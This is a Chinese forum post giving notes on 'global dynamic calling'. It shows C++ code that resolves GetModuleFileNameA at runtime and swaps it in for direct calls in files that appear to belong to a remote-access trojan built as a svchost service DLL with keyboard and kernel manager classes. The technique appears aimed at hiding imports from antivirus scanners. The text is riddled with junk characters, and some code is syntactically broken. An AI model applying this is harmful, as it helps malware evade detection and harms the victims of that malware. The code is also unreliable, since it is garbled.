[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
4 u" b0 o8 R, j' _' b/ esvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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% D6 m0 S. R# f* PDTDY.h：; E' D3 s% ~* C! y7 ~

# m* f, h- j3 c5 ?: G- o#if _MSC_VER>1000" T, g  P9 \9 j( n3 i* l
#pragma once0 i9 t: }3 U% F7 Z4 x7 a, g
#endif //_MSC_VER>1000
  I. F+ }) J  X  E, n) @/ A7 h#include<windows.h>6 c$ F% N8 t- W, [. Z1 k
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& S$ O1 J. y! W0 F7 q5 Aclass DTDY
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public:6 ^# i7 S7 O  ]2 T5 h0 f; P% ]
DTDY();
) T2 j4 I& `/ ]6 O/ |9 \. Zvirtual ~DTDY();0 F& k  v. l% L9 _4 V1 a
public:! l7 H  Z$ C1 o, d/ e$ |' W
static pGetModuleFileNameA MyGetModuleFileName;
% P# l) b8 G  c5 K8 E* astatic BOOL FunInitiallization();& m, E/ [; q( C  C5 K# p" }
};: f% W& f; A$ [1 ^" z
#endif7 s8 E: k% ^/ m8 F" U) ^& K
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" o& H& C- V% w# e) LDTDY.cpp:
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#include "DTDY.h"
: z8 S6 N" }/ N; ?3 \  g! j1 |pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
* M" g9 R- Z0 ~/ D9 ]$ m  U& ~4 xDTDY:TDY()6 z* J* l6 K  _6 S4 u& K/ e  p
{
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DTDY::~DTDY()0 \) B. k6 U5 W$ A/ G
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}
: ?/ U7 ~7 o& Z6 ?+ O6 k3 DBOOL DTDY::FunInitiallization()
; I9 E  e1 q6 X2 q( D% r+ }4 a{
  a+ q; i, ]9 T' y/ d1 ]HMODULE hModule=LoadLibrary("kernel32.dll");
. P: m( o) U  z$ s2 n# J; T/ xMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
0 r7 X) A4 _$ d- a# s7 zif(!MyGetModuleFileName=) return FALSE;
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4 T: m: I' q6 w' N2 Freturn TRUE;
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8 f4 |; M& J, j' w1 rsvchost.cpp:7 B  S; i. B4 [, [$ v
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#include "DTDY.h"
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* Y; X; \6 M+ iBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
7 M$ ?- M9 A- R/ I* c, B$ `{
: U. {" w. n! p3 h6 mswitch(ul_reason_for_call): U& a. ?) J; [) T* D
{
, ~, u, w. B  O# x! j+ l; Z, pcase DLL_PROCESS_ATTACH:
. t' P- A1 m  M2 f, |# h- }1 `8 K' e) Lif(!DTDY::FunInitiallization()) return FALSE;; z; n# V' Z& [

0 {( O6 e, |5 q+ e; N6 Lbreak;
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GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def8 @+ J0 t4 d! i2 V
改写为
: o1 i" n. ?3 Z; l) |9 O: fDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));/ j3 W, e; o$ P
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% e6 i/ U0 ]: u5 VKernelManager.cpp:
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4 U! a+ D" P* J( B4 d, T! v#include "../DTDY.h"
; w" r9 a& J" R- k( ~GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* E* _$ T" l5 b; }改写为" l/ [* y, ~: X* q; Q/ R! U3 b# Q
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
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